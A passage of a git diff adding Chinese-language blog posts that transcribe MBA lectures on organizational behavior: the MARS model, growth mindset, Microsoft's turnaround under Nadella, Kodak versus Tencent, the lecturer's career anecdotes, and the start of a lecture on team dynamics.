+讲到“风口理论”，站在风口猪也可以飞上天，但是问题是，风一过了，掉下来摔死的还是猪。但有没有想过，如果站在风口的是一个老鹰呢，站在风口的老鹰是一个大鹏呢？有这样的话：“大鹏一日同风起，扶摇直上九万里”。所以在这门课程中，我强调要注重实力，要注重内力，要注重内涵。 + +（2）人类行为可以预测吗？ + +人类行为其实是可以预测。比方说《吕氏春秋》里面的一句话“月晕而风 ，础润而雨”。今天晚上看到月亮外面有一圈光圈，第二天，八九成是要起风了。同样在人类行为中，一个人在走上坡路的时候，是有上坡路的样子，走下坡路也有下坡路的腔调。有这样一句话，上帝要他灭亡，必先使他疯狂。凡是出问题的那些人，有一个共同的问题就是没有敬畏之心。 + +古往今来，看人有17种方法，最近两年我又新加了一种方法“微信观察法”，微信用什么头像都能说明你的好多性格特征。 + +（3）人类行为可以改变吗？ + +人类行为可以理解，可以预测，同样是可以改变的。比方说讲到今天乔布斯，他确实改变了我们的生活方式。今天的手机已经成了你身上的一个器官，乔布斯为什么能有这样的成就，他也是有高人指路，他也有行为的改变。 + +最开始创业的时候，乔布斯推出了一款苹果电脑，但是没有成功。后来被他自己请来的一个总裁赶走了，他当时走得太快。因此，有些时候认识上领先一步，行动上只能领先半步。领先半步是先驱，领先一步就成先烈了。 + +所以在苹果2上，乔布斯是成了先烈了，当时他很沮丧，于是他到日本寺庙里面就去修行。他在硅谷有一个教他禅学的老师，这个时候老师就问了他两个问题：你最想要的是什么？修行只有在寺庙里面才能修行吗？这时候他顿悟了，他感觉到工作就是修行的道场，然后他做了新的公司，东山再起了。 + +所以，人类行为是可以改变的，比方说现在提的KPI、关键绩效指标，对员工的行为影响非常大，上有政策、下有对策。而且，做企业最重要是要有好的机制，好的机制让不那么好的人变好，不好的机制可能好人都会变成坏人了。 + +最近全球的一些最有影响的组织行为学家做了一些实验，为什么有一些国家老百姓愿意遗体捐献，有一些不愿意遗体捐献，当然跟社会制度、文化、宗教有关系。他们发现，跟填的表格有关系，比方说如果你愿意遗体捐献的，你要填的，不愿意遗体捐献的不需要填的，结果愿意遗体捐献的就少了。如果说你愿意遗体捐献不用填表格的，不愿意的话，你需要填表格的，愿意捐献的就多了，这一新的研究说明行为是可以改变的。 + +所以，组织行为学是要通过一些科学的方法研究在今天的互联网下半场，在中国的改革开放再出发这样一个新的语境下面，我们通过哪些措施、机制，来改变自身的行为，来改变组织中其他人的行为，来更好地实现组织的目标。组织行为学这门课要求大家在顿悟方面下大的功夫。具体来讲，我们能不能设计一个好的机制，让我们企业的绩效能够更好提升，让这支队伍也更好成长。 + +# 组织行为学能为你带来什么？ + +讲到组织行为学会给大家带来三个帮助： + +第一，能够帮助你清晰地认知组织这个环境； + +第二，能够帮助你清晰地做出判断和决定，在这个环境中用什么样的行为是最为合适的； + +第三，不仅是要了解这个环境是什么，在这个情况中应该做什么，知道应该怎么做。 + +中国有一句古话，工欲善其事必先利其器，我有好的工具我要有杠杆，这些东西是属于术的层面，非常重要，但是术和道要配合起来，术要用道来引领。讲到能够帮助你前瞻性地诊断组织的复杂环境，比方说在这个问题上，围绕的是一个“变”字，就是变中间我们预测了新经济有四大趋势，这四大趋势围绕“变”我们就得出了这样的结论。找到什么样的行为方法，这是围绕智慧的“智”，是研究逻辑，新旧经济究竟变化逻辑在哪里。 + +社会中判断一个人，经常会讲这个人聪明，这个人精明、这个人高明，在这个课程中，当然要讲聪明、精明、高明，但更强调智慧，我对智慧的理解是对事物发展的规律，或者说对运行逻辑有比较深刻的了解，我更强调大智慧。 + +什么叫大智慧，大智慧和智慧的区别就是：不但了解这个逻辑，而且能够游刃有余的来运用这个逻辑。 + +德鲁克有一句话讲得非常精彩，他说动荡的年代，动荡本身并不可怕，可怕的是延续过去的逻辑。今天来讲，重要的我们要研究新的逻辑，然后按照新的逻辑我们很好运用。这次课程我们强调能提供大家一系列的技能，这些技能是你采取恰当的行动方案所必须的。 + +![](/uploads/2019/06/03-06.png) + +比方说，在个体行为中间，会给大家一面镜子，这面镜子能够非常清晰的照出我自己。要求是客观的，不是变形的，而且能够非常好的照出他人行为，这就是一面魔镜。 + +这个魔镜是有两个重要成分构成的：一个就是思维方式，另外一个就是认知结构。 + +比方说，我知道思维方式是这样，但是我按照这个思维方式去做，结果是正确还是错误的还需要一个评价标准，这次会给大家两个工具，一个是思维方式，叫成长融合性的思维方式。另外，就是在数字时代的认知结构，比方说在群体行为中，每个人都希望自己有强大的气场，人是有气场的，有些人在那里一站一群人就拥过去了，围上来了，有一些人在那里一站像隐形了一样，气场在哪里？气场的磁性，磁铁的核心是什么。我们会给大家两个测评的工具，还会给大家一系列的实用的方法，比方说在组织行为中间，平台、生态，我们听了很多，最近20年世界上所有最成功的企业为什么成功？共同做对了一件事情，就是用平台方式整合资源，用平台生态的方式来发展企业。按照这个模型，定位你企业有三重方法，如果你自建平台怎么建，如果你进入平台怎么进入，还有一种方法就是企业平台化。就在现在这个情况下，我把平台的基因接进来，通过四个方面的对比，通过六个方面的操作。今天来讲，这么些体系内容，要将其融通，融的话很重要就是要打通任督二脉。组织行为学的任督二脉一个就是我们讲的行为，行为的逻辑是什么？第二是你的心智技能。西点军校，培养出很多非常有影响的领导，它是培养你强大的内心，在这个世界上，没有其他人能够打倒你的，能够打倒你的只有你自己。所以，怎么来培养强大的内心，融会贯通强调的是如何打通任督二脉，我们会给大家一些具体的思维和方法。 + +二、个体行为过程经典模型与最新研究 + +# 个体行为及其结果的MARS模型 + +首先讲一讲个体行为的经典模型和两个最新研究。讲到我们都看到好的结果或者不好的结果，但是我们再看它的逻辑关系，为什么是这个结果？成功的行为造成成功的结果，失败的行为造成失败的结果。那么问题是，成功行为为什么会是成功行为，失败行为为什么会是失败行为，有四个方面： + +第一，为什么做这件事情——动机。 + +第二，我做这件事情具备什么样的能力 + +第三，角色自觉。是不是定位很清楚，是不是非常清晰应该怎么做。 + +第四，情景因素。比如说这个情景叫VUCA（组织处于不确定性状态）。在这样的不确定情况下，也会带来很多新的问题。在这背后，比如动机能力、角色自觉、情景背后，价值观、人格认知都是在影响这些方面。 + +# 关于工作满意度的最新研究 + +比方说，讲到工作态度。很积极的去做这件事情和很消极去做这件事情，跟我满意不满意有关系。满意不满意又从认知、从情感、从行为这三个有关系。如果我进了一个单位，在这个单位中，我的领导提拔了一个我认为是根本不如我的人，这个时候我就会感到郁闷，我感到首先我感到你不公平。因为不公平，我对这个领导就产生厌恶，而这个感觉就带来后面的行为，或者是我要换工作，或者找地方投诉，或者找地方发泄等。如果我进了一个单位，我的领导提拔了这中间最出色的、最杰出的两个人，他们确实是优秀，把他们提拔了，我感觉公平，组织行为学中间公平是非常重要的。 + +比方说每个做管理的人都在想办法在创造杰出的工作环境方面下功夫。环境好了，员工就满意了，满意了以后效率就提高了，杰出工作环境是包括这三个重要方面： + +（1）员工对雇主感觉信任； + +（2）员工对工作感到自豪； + +（3）员工喜欢他们的同事。 + +这三个因素中间最核心的是信任，最重要的是员工对雇主的高度信任，一个人为什么努力，为什么不努力，这同他的内心世界有关系。有这样一句话，希望是人类最美丽的花朵，哀莫大于心死。因为我有这个希望，但这个希望又同信任感是紧密相关。 + +# 关于个体决策的最新研究：个体决策的理性选择模型 + +我们都希望做出一个理性的选择，那么这个理性选择有一个模型。比方说首先要确定我要研究什么问题，然后确定有一个好的过程。然后开发出备选方案，选择最佳方案，实践，反馈等。 + +# 与个体决策相关的若干最新研究 + +现在同这个模型相关的又有一些新的研究，比方说情感世界，怎么通过一系列的活动来为组织、员工提供正能量。 + +人是环境的产物，人是容易受影响，受感染的。中国有一句古话：“与善者居，如入芝兰之室，久而不闻其香。与不善者居，如入鲍鱼之肆，久而不闻其臭”。每个人都希望自己的生命是一个宏伟的胜利，所以走进正能量的环境非常重要。 + +现在也有一个新的研究，关于人类价值观的一个心理架构，这个架构的核心内容就在于我们如何来实现有效的激励。有时候花钱花的多了以后不是带来正面的效果，反而是增加一大堆麻烦。所以，我们这个激励，不仅仅是物质激励，还有精神激励，而且是全方位的激励。 + +当然，这所有一切都同认知有关系，一个人进步快、进步慢，最最重要的是他的学习能力，而学习能力又跟他的悟性有关系。悟性跟读书读的多，读多少有关系，但不完全，当然同一个人价值观也有关系。如果三观不正，读再多的书也是没有用的，所以学习我会强调有两种：第一种：适应性的学习；第二种：创造性的学习。 + +举一个实例，然后说明个体行为中间为什么这次课程把这些内容融起来，集中到提升认知上面。我举自己的工作经历来说明问题。 + +——实例：上海实业的“破门论” + +1995年组织上就把我派到了香港，我是从办公室副总经理开始一步步往前走，然后做到总经理、做到企管部总经理、海外部总经理，然后做海外公司总裁，海外公司董事长，然后做集团助理总裁，集团副总裁，集团执行董事。我也是在企业里面这样一步一步走过来的，在这个企业我工作了13年。 + +1995年，这家企业净资产港币30个亿，2008年底离开的时候净资产港币超过505亿，13年时间里面增长了16倍还多，从一个上海实业变成了16个，原来的16个上海实业。 + +这条路怎么走过来的？最重要的是什么呢？我刚去的时候这个集团只有三家公司，天厨味精、永发印刷、南洋烟草，最多的时候做到了9家上市公司。这中间还要有配套的，比方说组织、人力资源、激励机制、管理机制方面怎么配套。 + +这里面我要强调，我们做好多事情要打组合拳。比方说这些上市动作、行为是怎么来的？上海实业是两论起家：破门论、自然资源论。破门论是本来没有这扇门，现在换一扇门，然后一脚把它踢进去，要有这个创新精神，不具备这些条件，也要创造条件，创造条件的基础就是认知颠覆。“破门”的第一件事情是造壳上市。我们既不是借壳上市，也不是买壳上市，我们是造壳上市。我们既有香港的资产，比方说我们原来有红双喜香烟，天厨味精，永发印刷。然后又把大陆境内当时的资产，比方说像上海家化、三维制药收购以后给他放进去，然后就造壳了。1996年5月30号这家公司上市，上市以后1996年总共融了160亿港币。这是怎么做到的？这就是认知突破，没条件创造条件，画一扇门然后一脚踢进去。 + +怎么来创造条件？就是把资源用到极致，要动脑筋想办法。所以，行为是跟他的感觉有关系，感觉跟他的认知有关系，认知颠覆是寻找魔镜的核心。 + +不同时代有不同时代的认知要求。价值观是引导或者激励态度和行为的核心信念或者欲望，认知颠覆要围绕价值观。中央台有一句广告语，“心有多大，舞台就有多大”，当时我们在讲“破门论”的时候，我们领导也在跟我们讲，很多东西你想的到不一定做的到，但是想不到一定做不到，一定要敢想，想的话需要实力。所以，有能力的梦想这是理想，没有能力的梦想只是空想，我们既要有梦想又要有很强的实力。 + +三、适合中国新语境的成长融合型思维 + +# 关于多元思维模型的困惑 + +刚才讲到的“魔镜”包括两个部分。 + +第一，思维方式；第二，如何判断思维结果，即认知结构。 + +关于思维方式，我们会讲三个问题： + +首先是多元思维的困惑。我提出颠覆性创新时代需要的是成长型思维，而在中国环境下不仅是成长型思维，而且是融合型思维。 + +思维模型首先要具有普适性，思维模型还有是有时代性的。我非常喜欢张瑞敏这句话，没有成功的企业只有时代的企业，没有成功的领导只有时代的领导，所谓成功的核心是踩准了时代的节拍。思维模型不但要体现时代特征，还要体现地域特征，在不同地域对思维又有特别的要求。 + +多元思维模型是一个好东西，但也有困惑。比方说我们不能单角度的，要多方面、全方位、立体。查理·芒格讲，他说最好要学会100种思维模型，而且把它很好的运用。我们没有查理芒格的阅历，我们要强调落地，对我们现在来讲最重要、最核心的是什么？我有一个观点，这100个模型我们都要掌握，最重要你从什么角度、按照什么方式做效果最好！所以，我提出成长融合型思维。颠覆性创新时代最需要的是成长型思维模式。 + +——案例分析：微软的涅槃重生 + +![](/uploads/2019/06/03-07.png) + +举一个案例，微软的涅磐重生。在2013年的时候微软差点就死掉了，微软是怎么走过来的？我们看看这中间究竟是什么在起作？ + +先给大家看一封信， 2013年8月23号微软总裁鲍尔默说，我写下这封邮件是为了告诉你们，我将在未来一年里面，将从CEO这个岗位退休。实质上，鲍尔默并不想退休，他是被迫下课的。原因在什么地方呢？在2013年8月23号那天发生了一些重大的事情，苹果因为宣布了一个决定以后的话，苹果市值到了6203亿。比尔盖茨离开以后，鲍尔默也做了很多事情，但是市场对他不是很认可，微软公司宣布公司CEO决定在未来12个月里面退休，消息放出去，股价开盘就涨了，开盘上涨8.37%，报35.1美金。 + +大家知道，旧金山湾区有三个大的购物中心，其中一个就是斯坦福购物中心。那天是8月27号，我专门到现场去观察。硅谷的斯坦福购物中心有苹果店和微软店，隔得很近。当时微软店规模是苹果店的4倍，苹果店虽然很小，里面挤满了人，而且外面还放了好多小桌子，也挤了很多人。微软店很大，空空荡荡，没有一个人。用一句中国成语来讲，一个是门可罗雀，一个是门庭若市。 + +这里就带来一个问题，鲍尔默说我要退休了，股价就上去了，大家一定会想是不是鲍尔默领导微软这些年，他的成绩不好呢？ + +![](/uploads/2019/06/03-08.png) + +看一张成绩单。鲍尔默成功推动了windows和office业务的稳定发展，壮大了服务区和工业部门。注意，有三个重要数据，营业收入增长4倍，达到778亿美金，利润增长10倍。桌面系统占90%以上的市场份额，同学们你们说说这张成绩单是好还是不好？ + +很靓丽的成绩单，对不对！ + +那么为什么这么靓丽的成绩单市场不认可？大家知道股价是市场对你未来的预期，1999年12月23号最高市值到6190亿，然后一路下滑。这说明市场对微软的未来不看好。 + +这里就带来问题了，鲍尔默也做了很多改革，但为什么这么好的成绩单市场不认可？问题在哪里？是因为它没有跟上时代的变化。他赢得了今天，错失了明天。同学们，这点对我们今天做企业、做管理、做领导非常重要。我听李善友老师的课，他讲到亚马逊，强调要聚焦未来的发展。所以，他的过失是错失了移动计算和云计算的最佳时机，而这已经影响到微软的核心业务了。 + +我们再来看看当年的乔布斯。他在2011年10月5号去世的，他活着的时候就讲过这样的话，他说只要鲍尔默还在掌舵，微软就不会有什么起色，当然他讲的稍微有些偏颇。但他其实讲了一个很重要的问题，鲍尔默销售方面是天才，但他忽视了产品未来需求的开发，这是他们的一个软肋。 + +还有一个同事叫德柳金，他这样讲，他说在鲍尔默领导下，微软失去了技术上的优势，也没有能够成功摆脱对传统PC的依赖，注意，没错，它市场占有率很高，但只是传统PC桌面操作系统。 + +各位同学你们现在好多事情都在手机上做的，对不对？在iPad上做的，是这样的吧。大家注意现在已经转到移动端了，就好比我一开场讲的美团的例子，王兴胜在什么地方呢？他胜在2012年及时转到移动，在2015年及时搞了合并。 所以，其实我们考虑问题有时会有一个路径依赖，就说你原来做了，成功了，你会坚持做下去，原来你失败了以后你会倍加小心。因此，我们在考虑认知颠覆的时候，要考虑怎么来打破路径依赖。 + +![](/uploads/2019/06/03-09.png) + +下面来看微软的曙光。刚才我讲的是微软的转折，2013年8月23号是个转折，曙光就是纳德拉的上任。上任以后纳德拉写了一封信，这封信很长，我选了其中一段给大家翻译一下。 + +大家看，首先纳德拉上来要讲清四个问题：我是谁，我为什么来到这里，我们为何而生，下一步我们可以做一些什么。 + +我们经常讲提供正能量，什么叫提供正能量？你看纳德拉就是提供了正能量。他说：很多人都很渴望改变整个世界，极少有公司能拥有所有的必要元素，人才资源和毅力。微软已经证明……他说我们拥有所有的这三种元素，作为新任首席执行官，我已经拥有了一个不能再好的基础，让我们携手并肩一起，一起在这个基础上继续建设发展这家公司吧。 + +同学们，这个思维方式非常重要。比方说有些人上来以后先把前任领导骂一通，这种行为模式有很大的问题。而纳德拉首先想到要调动大家积极性，把我们的优势潜能充分发挥出来。 + +接下来我们看看微软怎么做的？微软起死回生靠三个刷新：思维方式、使命和愿景、战略落地。 + +（1）思维方式的刷新 + +纳德拉上任以后，首先给大家推荐《思维模式》这本书。这本书里面就提出有两种思维模式：固定型思维模式和成长型思维模型。 + +![](/uploads/2019/06/03-10.png) + +后来有人采访他们的时候，他们的首席人力资源官就在讲，他说提倡成长型思维模式是微软文化变革的最重要的一部分。大家想想，如果我思维模式不转变过来，行为怎么转？ + +大家想一想，为什么在组织行为的课程设计中间，首先强调个体行为要聚焦认知颠覆。聚焦颠覆之后会产生一个对互联网下半场起重大指导作用的一个新的思维模式。 + +（2）使命和愿景的刷新 + +你们发现了吗？比尔盖茨时代、鲍尔默时代、纳德拉代使命愿景都是不一样的。比尔盖茨时代致力于提供使工作、学习、生活更加方便丰富的个人电脑；在纳德拉时代提出提供生产力和平台。这个使命愿景怎么出来的？他们是通过同理心沟通，这就是我们在下一个专题中间要讲到的。我们有时开玩笑说，昨天的地图不能用来指导今天的战争了，我们要换新的地图。 + +（3）战略刷新 + +第三个刷新就是战略刷新，转型是要落地，落到企业的经营战略。纳德拉上任以后，他们有过三次大的转型。 + +第一次转型，微软向服务转型；第二次转型，微软向创造生产力和平台公司转型；第三次转型，微软向云服务公司转型。 + +第一次转型发生在2014年的7月17号，大家注意也就是他上任半年以后，他在7月17号就宣布，微软将由以软件为主的公司，转型为以消费，以销售帮助企业和个人，提升效率的网上服务。这个消息发了以后，第二天股价马上又涨了2.4%。同学们如果说我不把这个材料给大家，如果我问你微软是什么公司，同学会说微软是设计软件、制造软件、销售软件，对不对？但大家注意到，现在他从一个制造公司转变为的一个服务公司。 + +第二次转型是在2016年6月13号，它收购职业社交网站领英，这样的话呢，它就实现了职业工具和职业社交的高度互补，从而产生协同效应。这样它就向创造生产力和平台公司转型了，这是第二次转型。 + +第三次转型，微软向云服务公司转型转型，这中间他们做的还是蛮成功的。2017年的时候，他们希望在云服务方面收入能够达到200亿美金。那一年达到了187亿美金，这说明转型云服务公司成功了。 + +我们看到，在过去5年里面，微软重新走上了上坡路，也就是从一次大滑坡拉回来了。在5年的时间里面，它成为了一家完全不一样的公司，它砍断了在个人消费业务上的巨额投入，是仅次于亚马逊的云服务和企业服务。到2018年11月26号，微软市值超过了苹果和亚马逊，一度成为全球市值最高的公司。 + +这里我有一个感悟，微软的成功是靠颠覆他人，微软今天重生是靠颠覆自己。 + +当时微软为什么能够做到颠覆他人？甚至包括包括99年能够做到市值6190亿，因为它颠覆了当时的IBM，也就是计算机集中化。微软将计算集中化向计算个人化转变。 + +从此，微软打破了IBM。今天时代又转过来了，风水轮流转，今天计算又开始从个人化向集中化转变。比如大计算、云服务、大数据等等。微软在计算能力重新集中化的技术浪潮到来时候，迅速转身，避免了被颠覆。所以，今天这个社会是一个颠覆性创新时代。 + +我们再归纳一下，微软的重生之源是纳德拉非常有效的领导行为。纳德拉这个领导同一般领导不一样，这也是今天领导行为中间一个非常重要的亮点。领导并不是要成为最聪明的人，而是要想办法把员工最好的一面激发出来。 + +各位同学请注意，今天这个社会是优秀的追随者造就优秀的领导者。同时我也强调优秀追随者要靠优秀领导人来培养和造就。当然今天我们可以看到他的新领导行为是，不惧风险、快速失败、快速前进。这也是今天的微软的文化。 + +那么，这个领导行为基础是什么呢？就是推行成长型思维模式。纳德拉提出：任何组织和个人达到某个临界点的时候的话，都需要自我刷新！这也是我在专题一中提出的一个非常重要的指导思想。 + +那么，我们看看市场反应如何？ + +2013年，当时微软的股价不到35块，到2019年1月18日，市值达到8268亿美金。微软的股价整整增长了三倍。这说明市场对微软这个转型充分认可。 + +微软的涅盘重生是靠自我颠覆、认知升级、确立愿景、三次转型。如果没有新的愿景不会转型，如果没有新的认知，不可能有这样的愿景，当然如果没有颠覆，不可能有这样的认知。因此，我想强调，颠覆性创新时代需要的是成长型思维。 + +# 颠覆性创新时代需要成长型思维 + +各位同学，现在我把两种思维模式特点罗列出来了。你们对号入座，看看自己更多的是固定性思维还是成长型思维？如果更多的是成长性思维，包老师祝贺你，如果更多的是固定性思维，没有关系，但你要引起警觉，你要尽早加以改变。 + +![](/uploads/2019/06/03-11.png) + +我接下来还要强调，成长性思维模式是个好东西。但在中国，这个思维模式还要融入中国元素，所以我叫成长融合型思维。 + +成长思维模式既具有时代特征，也要体现时代的地方特色，也就是国际化视野和本地化关注。这里举个例子，我想很能说明问题。 + +谷歌在美国的表现是全世界组织行为学教科书的经典案例，它发挥了员工威力的100次方。但在中国，它2006年进入的，2010年退出。你们说谷歌这个模式不好吗？同学们不能一概而论。谷歌这套管理在美国很适用，但没有中国化。 + +同样，今天阿里巴巴这么牛，但你们知不知道它的商业模式好多方面是借鉴ebay的。今天惠普的总裁惠特曼（ebay创始人）被称为全世界电子商务教母。淘宝最开始是借鉴她的方式，当时惠特曼不以为然说，淘宝算什么东西，不出三年这个世界上就没有淘宝了，最后是不出三年她自己离开中国了。大家就要研究淘宝是怎么学习ebay的？这个模式又是怎么进行改进的？怎么中国化的？所以，这里面我们就悟出一点，就好比是Uber，大家注意Uber在美国发展真的不错，到了中国以后还是被收购的12.5，对不对？中国化。 + +所以，我想讲到成长融合型思维就是要融合东方智慧，把中国的文化精华给它融合进去。也就是不同的语境需要不同的思维模式和发展思路。 + +![](/uploads/2019/06/03-12.png) + +大家看上图（成长融合型思维之树），成长融合型思维的泥土土壤是世界新经济大潮和中国改革开放40年的成果和再出发，我们考虑问题要基于这块土壤。同时，成长融合型思维要融合成长型思维和东方智慧。 + +比如，执行能力融合了墨家智慧，战略思考融合了兵家智慧，人格魅力融合了儒家智慧，领导艺术融合了道家智慧，改革和制度方面融合了法家智慧。同学们你们都体会到，在西方做事情，首先是法，然后讲道理。中国处理好多问题是情、理、法。我们一定要从实际出发，在中国这个语境下面怎么做。 + +关于成长融合型思维的实操，我为大家准备了心智模式的自我测评。若干年以后，比如10年或20年以后，你们回过头再想想包老师当时讲的那句话，你们会发现，你们成长最快的时候是最痛苦、压力最大的时候。因此，我强调，各位同学一定要走出舒适区，要会当凌绝顶、一览众山小。还有一定要会学习，人不是自然成熟的，人一定要三师指点、贵人相助，一定要名师指点、高师指点还有严师指点，叫名师、严师、高师，关键是还有贵人相助。 + +当然讲到这里，同学们都认同包老师你讲的对。但问题是高人、贵人你在哪里？这里我们就要帮助大家能够很好的找到高人、贵人。这跟思想方法有关系，比方说有些人混圈子，其实我也跟他们讲要进入圈子，但不是混圈子。你认识谁没有用，关键谁认识你，并且欣赏你、愿意指导和帮助你。你的认知方式改变以后，行为模式就不一样了。你们都希望人生有很多大机会，对不对？我告诉你，这些机会不是你可以求来的，就是你做人做事做到这个份上机会就来了。 + +3. 实务操作：用成长融合型思维指导个人职业生涯和生命规划 + +关于实务操作，我想给大家举个例子。大家一定非常关心我们的职业生涯。我们在讲到如何用成长融合型思维来指导我们个人的职业生涯和生命规划，见下图： + +![](/uploads/2019/06/03-13.png) + +过去已经发生，我们没有办法改变，现在是你生命的此时此刻，你目前在组织中的行为对事业生涯规划会有很大的帮助，而未来是你的梦想，是你的希望，一切兼有可能！ + +包老师羡慕你们年轻，年轻本身就是财富。我认为找师傅非常重要，人不是自然成熟的而是要点化的，人生道路关键处只有几步。我自己职业生涯50年，最重要就是两步，一步就是当时读复旦，第二步就是离开复旦去了企业。如果只有一种选择还好办，如果是多种选择呢？一定要有师傅。 + +比如我自己，1995年当时正好同时有两个机会，一个机会是香港科技大学邀请我到香港科大做客座教授，第二个就是当时香港上海实业邀请我加盟做合作研究。我的老师说，你的目标是致力于做企业组织行为、人力资源和领导力的研究。这个研究从学校到学校和从学校到企业再到学校，结果是不一样的。还有找对环境、跟对人十分重要。你跟着有资源的人的话，他做事情相对比较容易。 + +在个人的这个职业生涯中，用成长融合型思维来讲的话，就是三师指点、贵人相助。当然还有一点非常重要就是能够管理压力、适应变革。 + +我用成长融合型思维理论来给他人针对性的职业生涯指导时： + +首先，倾听内心的声音，最想要的是什么； + +第二，就考虑社会发展的需求； + +第三，就考虑你个人的强项，找到这三者之间的结合点，注意这三者缺一不可。 + +同时设计路径的时候，要施加合理的压力，这对其有很大的推动作用。工作的时候碰到一个好的领导真是三生有幸。比方说我在做企业的时候，我们集团分成三大块，一块是上市公司，一块是房地产，一块海外。当时我主管海外，我当然希望集团资源向我这里倾斜，希望我这个模块能够发展起来。当时我非常想做俄罗斯的波罗的海明珠这个项目，我是这个项目现场开发我是第一任董事长，这个项目总投资40亿美金。当时领导指导我说，做这个项目要具备三个条件： + +第一，要把这个项目上升到两个国家战略合作层面； + +第二，要以比较低的价格拿到这块土地；第三，要能拿到中长期低息贷款。 + +这三个条件具备了，就是具备很多有利条件了。我也知道，但是我想的没有这么聚焦。 + +作为领导应给予点拨，往哪方面集中精力。同时，在提供正能量时要给一定的压力，而这个压力又帮他指明了非常明确的方向，而这个方向对他未来发展又会带来很大的促进。 + +四、适应数字经济新阶段的新认知框架 + +按照成长型思维模式的思维结果应该是什么样呢？我们就要讲一个适应数字时代的新的认知框架。 + +# 认知升维是要通过颠覆我们的认知打造魔镜的核心 + +维度是同这个数字时代的特征吻合的。我认为，企业发展的边界就是认知的边界，认知边界在于领导者对问题的看法，而认知又同价值观有关系，想不到一定不可能做到就是认知没有达到。 + +2. 认知升维的核心在于自我颠覆 + +以柯达和腾讯为例，都说柯达被智能手机被数码技术打败了。 但全世界最早的数码相机是出在柯达，全世界第一张数码相片是柯达拍摄的。破产时，柯达依旧拥有全世界最强大的数码技术。这就讲到路径依赖与自我颠覆的问题。当时柯达的领导看到数码相机说这东西很好，藏起来不要让任何人知道。我感觉领导可能这样想，我不做人家也不会做，注意他这种出发点。但你能做出来说明这个世界做这个东西的条件已经熟了。我认为柯达是被自身成功经验、优质资产、眼前市场、既得利益所累，鲁迅说，既得利益者往往是现状维持派。因为能够从现在这个状况得到好处，所以不希望这个状况改变。 + +![](/uploads/2019/06/03-14.png) + +柯达1975年拍出数码相片，1995年它的销售额达到历史顶峰，1996年它的市值达到历史顶峰，1997年它的利润达到历史顶峰。但数码相机在2003、2004年才开始大规模普及，2006、2007年，柯达的胶卷销量断崖式下降， 2012年柯达申请破产清算。我总结一下，柯达是输在其固定性思维模式、工业时代的认知框架。但工业时代的认知框架是降低成本，而不是把客户利益、社会发展等等结合起来考虑。 + +![](/uploads/2019/06/03-15.png) + +对比腾讯，现在微信用户超过10亿。我感觉微信起了重要作用。马化腾说如果没有微信，我们现在根本就挡不住。但腾讯在出微信的时候，他们自己还有QQ。 2013年年底马化腾说，QQ已经有每个月超过6亿多的活跃用户，但在这个领域依然有创新，甚至差点被颠覆的可能性。他说移动互联网时代，一个企业看起来好像牢不可破，其实都有大的危机，稍微把握不住这个趋势的话，之前积累的东西可能就灰飞烟灭。去年9月30号，腾讯对整个组织架构进行调整，因为他们意识到互联网已经到了下半场，即从消费互联网到产业互联网，要顺应这个下半场，组织架构就要进行调整。今年1月9号也就是组织架构调整100天以后，他们有着技术中台，意味着技术委员会如约而至。我们给他做归纳，柯达的出发点是我不做人家也不会做，而马化腾的出发点是，我不做人家也要做的，注意这就是我们一个重要的认知，我不做人家也要做的，人家也要做的。 + +我认为腾讯赢在紧迫感、自我颠覆。当然最根本的是赢在成长性思维模式和数字时代的认知框架。 + +# 认知升级的核心是自我颠覆，自我颠覆的目标是要打造新的框架 + +我认为数字时代分为三个阶段，数字化革命、网络化革命和智能化革命。 + +![](/uploads/2019/06/03-16.png) + +最初期的比尔盖茨为主，在做的就把计算机传输信息数据化处理；接下来利用通信计算机技术，把所有终端连接、共享硬件软件和数据；然后是移动互联、万物互联。现在我们是从移动互联到万物互联，在这中间，我们加入了人工智能。 + +总结起来，数字时代认知框架特征如下： + ++ 思维特征。强调成长融合性思维。同时对环境的判断非常重要，也就是我们看问题出发点； ++ 价值主张。原来工业化时代企业强调工具理性。数字时代更强调价值创造、价值转移。以价值理性为先导，引导目的和手段的统一，价值创造是客户价值、企业价值和社会价值统一； ++ 管理模式。原来多的使用外在驱动，现在我们更强调是内驱。海尔的人单合一，用户互筹，事业合伙人等就是内在驱动； ++ 商业模式。过去强调交易价值，现在更强调使用价值，想方设法给客户以极致的体验； + +总结一下。我认为人和人之间的本质差别是思维模式，认知能力决定了人生高度。 + +数字时代认知框架应用要点： + ++ 基于互联网信息对称，通过跨界，突破产业条件； ++ 创造连接，突破资源能力； ++ 通过赋能，突破优势选择； ++ 通过共赢，实现可持续发展。 + +我强调给大家提供一块魔镜，用于识别个人、他人。在识别个人和识别他人中间，我们就用成长融合型思维模式，通过数字时代的认知框架检验思维的正确与否，使认知不断提升、突破！ + +这一讲就到这里，谢谢大家！ \ No newline at end of file diff --git a/_posts/2019-06-03-381-mba1202.md b/_posts/2019-06-03-381-mba1202.md new file mode 100644 index 0000000..8af0f97 --- /dev/null +++ b/_posts/2019-06-03-381-mba1202.md @@ -0,0 +1,202 @@ +--- +layout: post +title: 【组织行为学模块】 第2节 中观层面：激活群体，赋能团队 +pid: 381 +tags: [mba] +--- + +一、团队动力学的经典模型和最新研究 + +本节课中，我们主要是从群体这个角度来研究组织行为，强调要激活群体、赋能团队，围绕打造以“新生代”为核心的高绩效团队。 + +1.1 工作群体和工作团队 + +群体和团队不是一回事。工作群体是成员进行互动主要是为了共享信息和制定决策，帮助每个成员更好地完成自己的职责，以共享信息、中性、个体责任、随机性为主。工作团队是通过成员的努力能够产生积极的协同作用，以集体绩效、积极、个体责任与共同责任、相互补充为主。 + +![](/uploads/2019/06/03-17.png) + +中国四大古典小说之《水浒传》中梁山108条好汉、《西游记》中唐僧师徒4人，均是优秀团队的典范。唐僧是个优秀的领导者。首先，他以西天取经、不取真经绝不还为目标，意志非常坚定。第二，他能领导优秀的团队，驾驭聪明能干又调皮捣蛋的孙悟空，找到埋头苦干的沙和尚，收服贪吃、懒惰、好色但是又颇具公关能力的猪八戒。第三，心理素质优秀，在妖魔鬼怪面前临危不惧、呼呼大睡，坚信他的徒儿们会救他于水火。 + +1.2 团队动力学经典模型 + +团队动力学指的是团队动力在哪里、从何而来、如何产生效能，实现团队目标，满足成员需求，维持团队。 + +首先，建立良好沟通机制。要实现目标需要在一个优秀的机构中，进行好的团队设计，规范团队角色，提高影响力，设计薪酬系统等。其次，达成共识，即团队允许不同声音，通过头脑风暴，达成一致，最后成员均认同最合适的观点，最终实现团队目标。 + +![](/uploads/2019/06/03-18.png) + +1.3 关于权力的最新研究 + 